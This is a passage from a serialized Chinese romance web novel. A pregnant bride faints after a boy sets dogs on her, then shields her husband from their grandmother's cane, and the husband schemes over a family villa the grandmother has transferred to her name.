陆沉奕脸色一变,眼疾手快地伸手托住了她歪倒的身体,避免了她直接摔在地上。 岑予衿已经完全失去了意识,双目紧闭,长长的睫毛在苍白的脸上投下淡淡的阴影,显得格外脆弱。 “二少奶奶!”小琳惊呼着扑过来。 陆栩然的哭声也戛然而止,被这突如其来的变故吓得打了个嗝。 小脸更加白了,手足无措地看着不省人事的岑予衿。 完了! 真的完了! 陆沉奕眉头紧锁,立刻打横将岑予衿抱起。 “马上叫医生到西院!”他沉声命令,语气不容置疑,抱着岑予衿大步流星地朝着西院方向走去,步伐又快又稳。 经过吓呆了的陆栩然身边时,他脚步未停,低声提醒,“别哭了,回房间闭门思过,要是被你二哥知道这件事情,你就完了。” “顺便想想怎么跟你二哥道歉!” 小琳急忙跟上陆沉奕的脚步,一边走一边焦急地回头吩咐其他佣人,“快!快去请医生!通知老夫人!通知二少爷!” 陆家老宅因为这突如其来的变故,瞬间忙碌起来。 陆沉奕抱着岑予衿,回到西院卧室,小心地将她安置在宽大的床上。 拉过丝被给她盖好,直起身,对紧跟而来眼圈发红的小琳沉声吩咐,“照顾好她,医生马上就到。” “是,大少爷。”小琳连忙应下,声音还带着一丝颤抖,“您背后的伤得赶紧处理一下。” “京洲呢?发生这么大的事情也不见人影。” “二少爷一大早就出门了,不知道去了哪里,已经让人去找了。” 陆沉奕微微颔首,不再多言,转身离开了房间。 他刚离开不久,家庭医生就提着药箱匆匆赶到了,身后还跟着闻讯赶来的老夫人。 老夫人刚踏进卧室门,目光就紧紧锁在床上面色苍白的岑予衿身上,声音里满是紧张,“笙笙这是怎么了?好好的人怎么就晕倒了?快让我看看!” 她快步走到床边,小心翼翼地伸出手,指尖轻轻碰了碰岑予衿的额头,又掖了掖被角,动作里满是疼惜。 家庭医生正俯身给岑予衿量血压,见老夫人询问,连忙直起身回话,“老夫人,目前初步判断是过度惊吓导致的晕厥,血压有点偏低,等会儿抽完血看看各项指标,再做进一步检查。” “惊吓?”老夫人眉头猛地拧起,转头看向一旁还在发抖的小琳,语气瞬间沉了下来,“到底出什么事了?怎么会受惊吓?” 小琳咬着唇,不敢隐瞒,把刚才在院子里陆栩然带着大黑、小黑冲撞了岑予衿的事一五一十说了出来。 老夫人听完,脸色顿时沉得能滴出水,拐杖在地板上重重敲了两下,“又是陆栩然这混小子!早就跟他说过,那两条狗野性大,别在宅子里瞎跑,他偏不听!要是笙笙有个三长两短,我饶不了他!” 老夫人的目光突然落在岑予衿盖着被子的小腹上,心脏猛地一揪,声音都带上了颤音,“对了!芙笙还怀着孩子啊!王医生,孩子怎么样?有没有伤到孩子?” 她往前凑了凑,手悬在被子上方,不敢放下。 家庭医生刚给岑予衿检查完手臂上的擦伤,“老夫人,您先别慌。二少奶奶手臂和小腿有多处浅表擦伤,已经做了消毒处理,暂时没有大碍。” 他顿了顿,看着老夫人愈发紧绷的脸色,放缓了语气补充,“至于胎儿,目前从脉象和初步检查来看,暂时没有出血等异常情况,但因为二少奶奶受到了剧烈惊吓,还是孕初期有可能会影响胎儿,稳妥起见,还需要等会儿做个详细的检查,才能完全确认。” “还要多久?”老夫人攥着拐杖的手紧了紧,指节都泛了白。 “老夫人,那边需要检查一下设备,很快的。”医生连忙解释,又安抚道,“您放心,我会一直守在这里,等仪器安排好,立刻做检查,第一时间告诉您结果。” 老夫人沉默着点了点头,目光重新落回岑予衿脸上,轻轻叹了口气,语气里满是心疼,“委屈笙笙了,还怀着孕呢。” 她一边说,一边轻轻帮岑予衿整理了额前的碎发。 又看了一眼房间里并没有看到那个应该在这儿的人,怒火中烧,“陆京洲那个混球又滚哪去了?” 第27章 流产了? 小琳只好实话实说,“二少爷早上早早的就出门了,联系不上。” 败家玩意儿! 陆家下一辈没一个是正常的。 “陆栩然呢?” “小少爷回房间闭门思过了。” 陆老太太真要被他俩气疯了,“他为什么要牵那么多狗过来?” 小琳把头埋的更低了一些,实话实说,“小少爷说您让二少爷娶了不喜欢的人,委屈了二少爷,要把二少奶奶赶出去。” 这话算是触碰到陆老太太的逆鳞了,“把那臭小子给我揪过来跪在院子里,没有我的允许,谁都不许让他起来!” 小琳不敢再耽搁,吩咐人去找小少爷。 “派人继续找陆京洲,哪怕是压也给我压回来!” “是。” 陆老太太着急的在房间里踱步。 陆家老宅配设了专业的私人诊室。 岑予衿被推着进了检查室。 检查完了也没联系上陆京洲。 老太太又连着打了好几个电话,都是无法接通。 这臭小子! 肯定是想着反正媳妇儿已经娶到手了,筹码迟早也得到手,不在乎了是不是? 行! 这事算他自找的。 “把张律师给我请过来。” 没一会儿,管家就带着张律师过来了。 “老夫人。”张律师提着公文包,恭敬的冲着陆老夫人鞠了个躬。 老太太点了点头,指了指旁边的位置,示意他坐下,“上次让你准备的那个文件,准备好了吗?” “您说的是把陆董名下的檀月山庄转移到陆二少名下那份吧,早就准备好了。” 老太太看着床上躺着的岑予衿,摇了摇头,“把它移到芙笙名下,马上转。” 张律师有点搞不懂老太太的意思,却还是恭敬的应了下来,“好的,我马上办。” 半个小时之后,一切手续齐全。 檀月山庄,就这么在父子俩都不知道的情况下转移到周芙笙名下。 他不是觉得娶了就万事大吉? 行!想要檀月山庄,自己求老婆去吧。 反正他俩已经结婚,属于夫妻共同财产,还能促进小夫妻之间的感情。 …… 城郊废弃仓库的铁皮门在刺耳的摩擦声中缓缓开启。 陆京洲单手勾着黑色西服,从仓库里出来。 他额前黑发被冷汗浸湿,几缕凌乱地贴在额角,原本挺括的白衬衫此刻皱巴巴地沾着尘土,后背更是纵横着几道明显的血痕,洇出的鲜血将浅色布料染出暗红。 他抬手抹去唇角的一点血渍,眼神阴鸷冷厉。 身边的程凌晟也没好到哪里去。 “阿洲,到底是咱们身边出了内鬼还是他传递的消息有问题,这都第几次了?” “别说是线索,天天来这套,你说傅家走丢的那个千金真在京北?这都20多年了,不会是有人想冒名顶替吧?” 陆京洲烦躁的抓了抓头发,“傅聿琛不会骗人。” “把里面那几个人送到警局。”这话是对着助理林旭说的。 “二少。”守在门外的助理林旭立刻上前,将一件干净的外套披在他肩上,低声道,“老宅那边来了好几个电话,老太太发了好大的火,让您立刻回去。” 陆京洲嗤笑一声,动作牵扯到背上的伤,眉头几不可察地蹙了一下,声音却依旧平稳,“又有什么事。” “夫人……” 他刚开口陆京洲就一记眼刀扫了过去。 林旭立刻变了称呼,“是周小姐,早上三少爷牵着藏獒去堵周小姐,想吓唬吓唬她,没想到那藏獒发了疯似的咬人,周小姐被扑倒了。” 陆京洲立马接了话,声音听不出喜怒,“流产了?” “不清楚,老宅那边只说到现在还昏迷不醒,说让您回去一趟。” 程凌晟眼睛睁的老大了,“那也太危险了,啥时候的事儿?” “早上。” 程凌晟立刻把手搭在陆京洲肩膀上,“我跟你一块回去,老太太家法伺候的时候,我还能给你求求情。” 他主要是想去看看陆京洲的新婚老婆。 丑肯定没有传闻中那么丑。 但估计也好看不到哪去。 陆京洲冷哼了一声,“别了!你要是跟我回去,还没进门呢,就被打出来了。” 陆京洲指了指身后的破旧仓库,“接下来的事情你处理干净。” “好吧!”程凌晟还是有些不死心,“丑媳妇儿总要见公婆吧,你啥时候让我见见嘛。” “看你表现。” 陆京洲上了车,闭目养神。 两个小时后,车子缓缓开进陆家老宅。 司机轻声提醒,“二少爷,到家了。” 车子刚停稳,陆京洲推门下车,一眼就看到了跪在庭院正中央的陆栩然。 小小的人儿背脊挺得笔直,月光柔柔的洒在他身上,额发被汗水打湿,黏在额角,嘴唇有些干,但那双和他相似的眼睛里却写满了不服输的倔强。 听到脚步声,陆栩然抬起头,看到是他,眼睛亮了一下,随即立刻低下头,心虚的道歉,“二哥,对不起,给你惹麻烦了。我真没有要伤害她的意思,我就是看不惯她欺负你的样子,奶奶要是骂你,你就说这事跟你没关系。” 他的声音坚定。 那叫一个仗义! 陆京洲脚步未停,仿佛没看见他这么大个人跪在那里,径直朝着主屋走去。 擦身而过的瞬间,冷淡的声音才飘进陆栩然耳中,“跪直点。” 陆栩然身体一僵,梗着脖子,本能的把腰背挺得更直了,眼圈却微微发红。 完了! 二哥肯定真的很喜欢她。 要不然这会也不会只说三个字。 二哥他生气了。 他再也不是二哥最喜欢的弟弟了。【本来也不是!】 刚踏进客厅,一个茶杯就带着风声砸了过来。 陆京洲侧身避开,茶杯在他脚边碎裂,溅起细小的瓷片。 “你还知道回来!”陆老太太端坐在主位沙发上,脸色铁青,手中的沉香木拐杖重重杵在地板上,“看看你弟弟干的好事!再看看你!新婚第一天,人影不见,电话不接,你眼里还有没有这个家!” 陆京洲脸上没什么表情,慢条斯理地整理了一下外套袖口,这才抬眼看向老太太,“奶奶,火气太大伤身。” 他的目光扫过站在老太太身后,低眉顺眼的小琳,以及垂手立在一旁的管家,最后落回老太太身上,“我这不是回来了,人怎么样?” “回来?芙笙到现在还昏迷不醒呢。”老太太气得胸口起伏,“给我跪着!三天不打,上房揭瓦了是吧?” “老李,帮我吧家法取来,我非要打死他不可。”陆老太太原本想着他的婚事解决了。 今天美美的吃孙媳妇儿敬的茶,给个改口红包。 没成想,一个二个给她搞幺蛾子。 从早到晚守着孙媳妇到现在,还没醒。 幸好肚子里的宝宝没什么事儿。 李管家也觉得这次二少爷做得太过分,没有劝,转身去取了家法。 岑予衿刚走到楼梯转角,一股极淡却无法忽视的血腥味猛的钻入鼻腔。 孕期敏感的嗅觉让她胃里一阵翻涌。 晕了一整天,一点东西都没进肚子,饿的不行了,醒了想下楼找点东西,这突如其来的血腥味,把她那一丁点食欲都弄没了。 她下意识地蹙眉,扶着栏杆稳了稳神才继续往下走。 刚踏入客厅,眼前的一幕让她心跳骤停。 老太太满面怒容,刚接过李管家手里的藤条。 她手中那根沉重的藤条正带着风声,狠狠朝着站在中央的陆京洲挥去! 他甚至没有躲闪的意思,背脊挺直,侧脸线条冷硬,完全是准备硬扛下的姿态。 “奶奶,不要!” 大脑来不及思考,身体已经先一步行动。 岑予衿惊呼出声,一下子扑了过去,用自己单薄的身躯猛地挡在了陆京洲背后。 “啪!” 一声闷响。 预想中落在陆京洲身上的疼痛没有出现。 取而代之的是臂膀处传来火辣辣的剧痛,疼得岑予衿瞬间闷哼一声,眼前发黑,整个人不受控制地向前踉跄。 陆京洲在她扑过来的瞬间身体骤然绷紧,反应极快地转身,一把捞住了她软倒的身子。 入手是惊人的纤细和轻颤,他垂眸,清晰地看到她瞬间煞白的小脸和额角渗出的冷汗。 以及那截裸露的手臂上迅速浮现出的红肿淤痕,刺目惊心。 他箍在她腰间的手臂不自觉地收紧,眸底翻涌起他自己都未曾察觉的厉色。 “笙笙!”陆老太太也吓了一大跳,慌忙扔了藤条,拄着拐杖快步上前,“你这孩子!你冲过来干什么!快让我看看,打到哪里了?严不严重?” 老太太又急又悔,声音都带了颤。 岑予衿靠在陆京洲怀里,缓了好几秒才从那阵剧痛中回过神。 对上陆京洲深邃难辨的目光,她这才意识到自己做了什么,挣扎着想站直身体,“奶奶,我没事……您别生气,别打他……” 虽然有点疼,但她一点也不后悔。 岑予衿不知道老太太为什么要打他,但是护着他绝对没有错。 毕竟她现在是暗恋了他10年的人。 而且以后还得同在一个屋檐下,能让他有点好感,就得让他有点好感。 以后好办事儿。 陆京洲却没有松开她,反而将她更稳地圈在怀里,目光扫过她手臂上的伤,眉头紧皱,“奶奶,我等会儿再来领罚。” 不等老太太回应,他已然打横将岑予衿抱了起来。 突然的失重感让岑予衿低呼一声,下意识地环住了他的脖颈。 “我可以自己……”她抬眼,撞进他近在咫尺的黑眸里,那里似乎比平时更沉、更暗,把她要说的话一下子堵了回去。 陆京洲没说话,抱着她,无视了身后惊愕的目光,大步流星地朝楼上走去。 第28章 周芙笙她……真爱惨了我! 陆京洲抱着岑予衿径直走进卧室,动作算不上温柔地将她放在床边。 “医药箱。”他头也不回地朝门外吩咐,声音冷硬。 佣人很快送来了医药箱。 陆京洲打开箱子,取出消毒药水和棉签,动作生疏却异常专注。 当他冰凉的指尖触碰到她手臂上那道红肿的伤痕时。 岑予衿忍不住轻轻瑟缩了一下。 “疼?”他抬眸,黑沉的眼底看不出情绪。 岑予衿摇摇头,又点点头,“疼死了~” 他手上的动作似乎放轻了些,但语气依旧冷冽,“知道疼为什么要挡上来?” “我……”岑予衿垂下眼帘,长长的睫毛在苍白的脸颊上投下阴影,“我不能眼睁睁的看着你挨打。” “为什么?”陆京洲嘴比脑子快,反应过来时已经问出了口。 “你没有喜欢过人,你不懂。”岑予衿低着头,声音有点委屈,“我们是夫妻,是一家人,打在你身上,我会心疼,会难过,会不舒服。” 她原本只是饿,现在是又饿又疼头还晕。 陆京洲听到这话,手里的动作顿住了,难以置信的看着她,心底最柔软的地方像是被温水烫了一下。 周芙笙她明知道疼,还要义无反顾的替他挡下来。 除了她爱惨了他,他再也想不到别的理由了。 陆京洲盯着她低垂的脑袋,那颗毛茸茸的发顶此刻看起来格外温顺。 手臂上那道刺目的红痕还在提醒他刚才发生了什么。 ‘我们是夫妻,是一家人。’ ‘打在你身上,我会心疼,会难过,会不舒服。’ 这几句话在他脑海里反复回响,像平静的湖面被投入了一颗石子,泛起一层层的涟漪。 他从来不相信什么无条件的关心。 可看着她疼得脸色发白、眼眶微红却还强忍着的模样。 也许……她说的,是真的? 周芙笙她真的爱惨了他! 这个想法,让他心底升起了一抹异样的感觉。 他已经不知道有多久没有被人这么直白的关心过了。 陆京洲的喉结不自觉地滚动了一下。 他沉默地拿起药膏,用指腹蘸取,再次触碰到她手臂的伤痕时,动作下意识地放轻,带着一种连他自己都未曾察觉的小心翼翼。 “真蠢。”他低斥一声,声音却不像刚才那样冰冷,“下次站远点,不许挡在我面前。” 这话听起来是责备,但细品之下,却透着一丝不易察觉的缓和。 岑予衿抬眼,陆京洲那专注的模样就撞进了视线里。 他长得极好,鼻梁高挺,下颌线条流畅分明,只是平时总笼罩着一层生人勿近的冷冽。 此刻,那层冷硬似乎裂开了一道细微的缝隙。 她心里微微一动,小声嘟囔:“我不!下次我还挡。” 陆京洲涂药的手再次顿住,抬眸看她。 岑予衿冲他吐了吐舌头,没再继续看他,视线落在了自己红肿的手臂上,“这个药孕妇能用吗?你看一下说明书。” 陆京洲直接把手上的棉签摁在了她手臂上,“知道是孕妇,还干那么危险的事儿。流产了正好,咱们离婚。” 他说出口才发现,这话有多伤人。 岑予衿没有回答他的话,只是刚才亮晶晶的眼里瞬间没有了光亮,低下了头。 陆京洲想开口解释,但……最终没说出口。 只是动作更轻了一些。 “可以了。”陆京洲擦完药,把棉签丢进垃圾桶。 一直没说话的岑予衿开了口,声音闷闷的,“别关医药箱,我给你擦药。” 陆京洲眼里满是意外,喉结滚了滚,“你怎么发现的?” 他自认掩饰得很好,从进门到现在,甚至连眉头都没多皱一下——也可以说是已经习惯了。 “我闻到的。”岑予衿开始抬手解他衬衫的扣子了,“房间里一直有淡淡的血腥味,抱着你的时候,血腥味更浓了。” 陆京洲怔住,一下子攥住了她的手腕,却没有进一步的动作。 趁他失神的瞬间,岑予衿挣开他的手,径直去解他衬衫的纽扣。 指尖不可避免地触碰到他胸前的皮肤……身材真好! “周芙笙!”他语气警告,却莫名没有立刻推开她。 纽扣一颗颗被解开,逐渐露出里面触目惊心的伤口,暗红色的血迹,狰狞刺目。 岑予衿倒吸一口凉气,声音都变了调,“这……这是怎么回事?!” 她抬头看他,眼里满是惊骇和来不及掩饰的心疼,“你去干什么了?怎么会伤成这样?” 陆京洲避开她的视线,语气恢复了一贯的冷淡,“一点小伤,不碍事。” “这还叫小伤?”岑予衿的声音带着哭腔,手指悬在纱布上方,不敢触碰,“需要好好包扎一下……” 她慌乱地去翻医药箱,找出干净的纱布和剪刀,“你坐下,我帮你。” “不用。”陆京洲按住她的手,眉头紧蹙。 他深邃的目光落在她焦急的脸上,她的眼里满是担忧。 他沉默片刻,最终还是松开了手,背过身去,哑声道,“随便你。” 岑予衿深吸一口气,强迫自己镇定下来。 手指还是无意识的颤抖了一下。 有些是旧伤疤,有些是明显新添的,最深的一道在肩胛骨下方,皮肉外翻,血迹斑斑。 她红着眼眶,拿起消毒药水,动作尽可能轻柔地为他清理伤口。 冰凉的药水触碰到伤口,陆京洲背脊肌肉瞬间绷紧,却硬是一声没吭。 “疼的话……可以喊出来的。”她小声说,声音里带着不易察觉的哽咽。 陆京洲闭上眼,感受着身后那双微凉而轻柔的小手,小心翼翼地处理着他的伤口。 背后的刺痛感依旧鲜明,但被珍视着的感觉,却更清晰地涌了上来。 岑予衿轻轻的给他吹着,边吹边上药,“这么大的人了,能不能照顾好自己?” 陆京洲后背的伤口很多,很多都留下了疤。 特别是右边肩膀上,虽然已经愈合,但也能看出来当时有多痛。 陆京洲鬼使神差的没有开口怼她,任由她边说边上药。 最后一块纱布缠好,岑予衿松了口气,起身替他找了一件干净的衣服,帮他换上,“好了,别大幅度动,不然还会裂开。” 她刚直起身,一股饥饿感来袭,犹豫了一下,还是开了口,“我饿了,从早上到现在还没吃东西。” 陆京洲背对着她整理衣服,闻言动作一顿,沉默几秒后拿出手机拨通内线,语气恢复了几分惯常的冷硬,却少了几分尖锐,“让厨房弄点清淡的饭菜,二十分钟内送到主卧。” 挂了电话,他没回头,只是淡淡道,“等着。” 说完就要往门口走,大概是习惯了独处,也或许是不知道该如何面对这份突如其来的亲近。 手腕却突然被人轻轻拉住了。 岑予衿的手指纤细,力道很轻,像是怕扯到他身上的伤口,又像是怕他跑掉。 陆京洲脚步顿住,侧眸看她,眼底带着一丝不易察觉的诧异。 她仰着小脸,眼眶还泛着红却固执地攥着他的手腕,“你别走。” “还有事?”他问,声音比刚才柔和了些。 “陪我吃饭。”岑予衿抿了抿唇,像是鼓足了勇气,“我一个人吃不下,而且……我想看着你,免得你又偷偷乱跑,下去奶奶指定得再打你。” 她的理由很直白,带着点孩子气的执拗,却让陆京洲心头一软。 他本想拒绝,想说自己还要去老太太那里领罚。 可对上她满是期盼的眼睛,到了嘴边的话竟咽了回去。 佣人很快推着餐车进来,摆上四菜一汤,都是清淡易消化的家常味道,还有一碗温热的小米粥。 岑予衿坐在床边,拿起勺子刚要喝粥,余光瞥见陆京洲转身要走。 立刻放下勺子,伸手又拉住了他的衣摆,力道比刚才重了些,“坐下啊,这么多菜我一个人也吃不完,你肯定也还没吃吧。” 陆京洲看着被她攥住的衣角,又看了看她眼里藏不住的依赖,喉结滚动了一下,终是没再挣扎,拉开旁边的椅子坐了下来。 卧室里只剩下碗筷轻响,岑予衿饿坏了,小口小口地喝着粥,却没忘了时不时抬眼瞟他一下。 见他只是坐着不动,忍不住舀了一勺青菜递到他嘴边,“你也吃点,不吃东西伤口很难愈合的。” 陆京洲身体一僵,看着近在咫尺的勺子,又看了看她认真的眼神。 终是妥协,微微低头,张口吃下了那口青菜。 第29章 你敢打我吗?我可是有老婆护着的 岑予衿见他没拒绝,立马起身给他舀了一小碗粥放在他面前,“你尝尝,很好吃的。” 自己则是坐回位置上小口小口的吃着。 陆京洲的视线不自觉的落在她身上。 她再次催促,他才回过神来,拿起面前的小碗一口口吃。 也许是看她吃的香,自己也不知不觉吃了一碗。 岑予衿依旧缠着他一起睡觉,死活不让他下楼。 她是什么意思陆京洲明白,不想让奶奶再打他罢了。 岑予衿始终是个孕妇,能吃又嗜睡,没过多久就坚持不住,睡着了。 陆京洲替她掖好被角,又检查了一下她后面的两张床垫,确定没问题才下楼。 老太太还在楼下等他,见他下来立马起身,“笙笙怎么样?我下手那么重,肯定肿起来了吧?” “嗯,她皮肤白,又肿又红的。” 老太太听着这话,没忍住又抬起了手里的藤条。 陆京洲没躲,看了她一眼,淡淡道,“奶奶您知道我为什么这会才下来吗?” 老太太举着藤条的手微微一顿。 他的视线扫过那根藤条,“她怕您还没消气,会再打我,一直拖着不让我下楼。愣是要我陪着一块吃饭,睡着了,手还攥着我的衣角。” 这番话听着像解释,字里行间却透着一股‘你敢打我吗?我可是有老婆护着的哟。’的微妙炫耀。 老太太:“……” 狠狠的将藤条摔在了地上。 这孙媳妇儿倒是疼这死小子。 小琳见老太太气的要死的模样,赶忙上前劝道,“老夫人,您就别瞎操心了,二少爷和二少奶奶感情可好了,二少奶奶今早还跟小少爷炫耀说,昨天晚上二少爷怕她摔下去,特意在她身后垫了两层床垫。” 说着看了一眼陆京洲,见他没有发作的意思,继续,“还有二少奶奶,小少爷拿钱收买她,让她提什么要求都行,她都无动于衷。她说她暗恋了二少爷好多年,从始至终她要的只有二少爷一人,他们的婚姻从来都不是用金钱衡量的。” 老太太听到这话满脸意外,“真的?” “千真万确。”小琳笑着答道。 陆京洲也有些意外,周芙笙居然会当着所有人的面这么说。 “等笙笙身体养好一些,你就带着她搬到檀月山庄住,那边环境好,适合养胎。” 听到檀月山庄,陆京洲脸上的表情明显变了,欲言又止。 老太太知道他要说什么,把茶几上的文件丢到了他面前。 陆京洲抬手接了过来是——《檀月山庄赠与合同》。 老太太会这么轻易把房子给他? 陆京洲一下子把协议翻到了最后。 果然,房子已经转移到了周芙笙名下。 已经公证过了! 陆京洲不自觉的攥紧了协议,眼眶有些红,后槽牙咬的紧紧的,看着老太太,“您……” “如果没有发生今天的事情,这房子可以直接转到你名下,但是经过这件事情之后,我明白了一个道理……” 老太太坐到了沙发上慢条斯理的拿起面前的水杯,优雅的喝了口,“女孩子总该有点什么东西傍身,如果这东西是能直接拿捏住男人的命脉,是最好不过的。” 比如这个房子……芙笙拥有了,京洲很想要,可是她不点头,京洲就得哄着。 除非她孙子毫无人性,痛下杀手。 当然了……她知道他不会这么做。 “您最好能一辈子护住她!”陆京洲把那份协议重重的拍回了桌子上。 那他结婚的意义是什么? 老太太这完全属于骗婚。 “你又想去哪?” “我去哪也不关您的事儿!”陆京洲怒气冲冲的出了门。 刚到院子里就看到了还跪在地上的陆栩然。 陆栩然原本是耷拉着脑袋的,看到二哥的那一瞬间生龙活虎,笑着打招呼,“二哥,奶奶没有打你吧?” 陆京洲原本不想搭理他,听到这话就来气,蹲下身,一把拧住了他的耳朵,“长本事了是吧?我都不敢动的人,你敢动。” 要不是他,檀月山庄已经是他的了。 陆栩然一下子就知道他说的是谁了,“二哥,我错了。” “错个屁!周芙笙还怀着宝宝,她肚子里那金疙瘩要是出了点什么事儿,老太太可不管你是谁。” 陆栩然嘿嘿嘿的傻笑着。 二哥,居然拧他耳朵,教训他? 二哥可不是多管闲事的人。 他果然还是二哥最爱的弟弟。 陆京洲觉得面前这人多少是有点傻逼在身上的,跟他说话都觉得有点降低自己的智商。 松开他的手,嫌弃的在自己身上擦了擦,“我警告你,最好不要招惹周芙笙。” 哇塞~ 二哥居然警告他不要招惹周芙笙。 那是不是意味着二哥真的喜欢她。 得嘞! 他知道该怎么做。 “二哥,你放心,今天的事情是我的错,我明天就去找二嫂道歉!” 二嫂? 陆京洲听到这称呼还有些不习惯。 却也没纠正。 “你那两条狗,交给我处置,你回去休息,别跪了。” 陆栩然撑着手爬了起来,“二哥……你……你要杀了它们吗?” 陆京洲冷哼一声,“你说呢?” 看着他要哭的模样,陆京洲开了口,“继续让它们留在这儿,在发疯伤着人怎么办?” 陆栩然立刻就反应过来了。 二哥一定是觉得那两只狗以后会再伤害二嫂才这么做的。 二哥真是爱惨了二嫂,都开始为二嫂考虑了。 “二哥,只要你不杀了它们,它们交给你处置。” 陆京洲没再理他,转身往外走。 …… 皇都! 程凌晟看着陆京洲面前滚的乱七八糟的酒瓶,一句话也不敢说。 生怕触到他的逆鳞。 过了许久见他还在喝,终于看不下去了,“阿洲,你身上还有伤,应该不能喝酒吧。” 陆京洲猛的看向他,抬手死死的抓住了他的衣领,“程凌晟,你知道吗?我被骗婚了。” 程凌晟一时间没反应过来,“这不都是你情我愿的事儿,怎么就骗婚了,老太太不是说要把檀月山庄给你吗?” “她把檀月山庄转到周芙笙名下了!” 程凌晟知道檀月山庄对陆京洲来说有多重要。 要不是想拿回檀月山庄,他在国外发展的势头正盛,根本不会回国。 “转到她名下,那还不简单,让她爱上你不就好了?以你这颜值样貌,稍微装一下,想撩哪个女人不是手拿把掐?” 程凌晟继续开口,“追女孩子无非就是耐心点,舍得花钱,多勾引一下。等她真的爱上你,不就心甘情愿把东西还给你了。” “再说了,现在你们是夫妻,檀月山庄属于你们夫妻共同财产。不比放到你家老头子手底下放心?慢慢来,该是你的,终会回到你手里。” 这话算是点醒了陆京洲,从周芙笙手里拿回檀月山庄可比在另外两个手里简单多了。 再说了,她不是暗恋了他很久吗? 追她,像程凌晟说的手拿把掐。 再不行,给她点钱买回来就行。 陆京洲刚要说什么,桌上的手机突然震动了起来。 看了一眼,是老宅那边的电话。 他想都没想,就挂断了。 没曾想,那电话又打了进来。 陆京洲一下子就想到了周芙笙,难不成突然有意外了。 手比脑子快,想都没想就接了起来。 她那熟悉的声音透过听筒传了过来,像是刚睡醒的,“奶奶打你了吗?大半夜你跑哪去了?” 陆京洲刚想说在皇都喝酒,旁边的程凌晟猛的冲他摇头,拿出手机缓缓打下几行字,【睡不着,出门给你买夜宵,带了奶茶和小蛋糕,你还有没有什么想吃的?】 陆京洲眉头皱的能夹死只苍蝇,说不出口,根本说不出口。 程凌晟拧了他一把,用口型道,“你还想不想拿回檀月山庄。” 陆京洲咬咬牙,开了口,声音听起来有些别扭,“我睡不着,出门给你买夜宵了,买了小蛋糕和奶茶,你还想吃什么,我给你一并带回去。” 那边似乎是愣了几秒,许久之后才开口,“可是孕妇大晚上不能吃那么多东西。” 陆京洲下意识看向程凌晟,那表情明显在说看吧,不领情,现在怎么办? 程凌晟秒懂,立马在手机上打下几行字,“一样吃一小口就好了。” 陆京洲真的是,连话都不会说了,“一……一样吃一小口就好了,不吃多没关系的。” 对面很快回复了消息,“那你什么时候回来?” 陆京洲:“离家不远,很快就能到。” “好吧,那我等你。” 陆京洲:“好。” 挂断电话之后,程凌晟立马凑了过去,声音里满是八卦,“阿洲,她的声音好好听,你到底什么时候能带出来给我见见,我真的太好奇她长什么样了。” 陆京洲挑了挑眉,“特别漂亮,又软又乖,声音还好听。” 程凌晟选择给了他一个大白眼,“啧啧啧,那上次跟我说一般的到底是谁啊?” 程凌晟知道,他这么说完全就是嘴硬。 要是真的好看,会被嫁给一个60岁的老头? 要他是周家人,长得好看,早拿出来宣传,找更好的联姻对象了。 陆京洲拿起衣服往外走,“我先走了,你一个人慢慢喝。” 程凌晟给他出的主意自然没有拦着他的道理,“快走吧,别让你老婆等急了。” 第30章 三天回门,只能回周家! 陆京洲出了皇都,烦躁地扯了扯领带,认命地绕路去了一家二十四小时营业的高级甜品店,打包了招牌的草莓小蛋糕和一杯热牛奶。 孕妇和普通人饮食差不多,什么都可以吃,但现在太晚了,奶茶里面有茶底,喝了会睡不着。 他还是下意识的让店员打包了一杯热牛奶。 回到老宅时,已是深夜,别墅里一片静谧,只有几盏廊灯散发着昏黄柔和的光。 陆京洲放轻脚步上楼,推开卧室门,动作却顿住了。 房间里只开了一盏暖黄色的落地灯,光影勾勒出沙发上一个小小的身影。 岑予衿并没有躺在床上,而是蜷在客厅区域的沙发上,身上随意搭着一条薄毯。 脑袋一点一点的,显然是在强撑着等他回来,却终究抵不过困意,昏昏欲睡。 她洗过澡,换上了舒适的纯棉睡衣睡裤,长发柔顺地披散在肩头,在朦胧的光线下,侧脸显得格外恬静柔和,像一只全身心依赖着主人的小猫咪。 陆京洲站在门口,静静地看了她几秒。 胸腔里某种躁郁的情绪,似乎被这静谧的画面无声地抚平了。 他原本准备的那套刻意的说辞,此刻显得毫无意义。 他轻轻关上门,发出的细微声响惊动了沙发上的人。 岑予衿长长的睫毛颤了颤,迷迷糊糊地睁开眼,看到是他,眼里瞬间有了色彩,“你回来啦?” 她揉着眼睛坐直身体,薄毯从肩头滑落些许,声音微哑,“我等你好久了。” 陆京洲喉结微动,提着纸袋走过去,将东西放在她面前的茶几上,语气尽量维持着平淡,“嗯,回来了。给你带了点吃的。” 岑予衿低头看去,是包装精致的蛋糕和一杯温热的牛奶,不是电话里说的奶茶。 她微微一怔,随即仰起脸对他露出一个甜甜的笑容,皱了皱鼻子,轻哼了一声,“陆二少还会骗人呢?明明说的是奶茶。” 陆京洲在她旁边的单人沙发上坐下,避开她的视线,随口道,“店员说晚上喝奶茶不好,换了牛奶。” 岑予衿“哦”了一声,却没有立刻去动小蛋糕,而是抱着膝盖,歪头看着他,灯光在她眼底流转,“那你呢?还生气吗?奶奶后来……有没有再为难你?” 她的关心直白而真切,毫不掩饰。 陆京洲对上她的目光,心里那点因为檀月山庄而起的憋闷,和想要利用她的心,在此刻显得无比卑劣。 他移开视线,落在她纤细的脚踝上,语气硬邦邦的,“没有。我这么大个人,能有什么事。” 他顿了顿,像是为了掩饰什么,生硬地转移了话题,“不是饿了?快吃,吃完睡觉。” 岑予衿却像是没听到他的催促,小心翼翼地凑近了些,声音压得很低,带着一丝不易察觉的心疼,“你背上的伤……还疼不疼?” 说着,她伸出手,指尖轻轻碰触到他衬衫的袖口。 微凉的指尖触碰到皮肤,陆京洲身体几不可查地僵了一下。 他猛地站起身,动作大得差点带倒旁边的落地灯。 “不疼!”他的声音比刚才更沉,“很晚了,你赶紧休息。” 岑予衿皱起了眉头,“你心情不好?” 陆京洲摇头,“没有。” “那你怎么大半夜还去喝酒?酒喝多了对胃不好。” 岑予衿刚说出口,又觉得自己表现的有点太刻意了。 今天已经做了很多事情了,管的太多,可能会让一身反骨的他开始反感。 可现在话都说出口了,不接下去好像有点难收场。 岑予衿真觉得自己是在作死,起身把他按回了沙发上坐好,“你在这儿等我一下,我去给你煮点醒酒汤,喝了之后会舒服一点,明天也不会头疼。” 陆京洲被她按回沙发,一时竟忘了反应。 他看着她转身下楼的背影,纤瘦却带着一股执拗。 他犹豫了一下,还是跟着下去了,帮她带着她的小蛋糕和热牛奶。 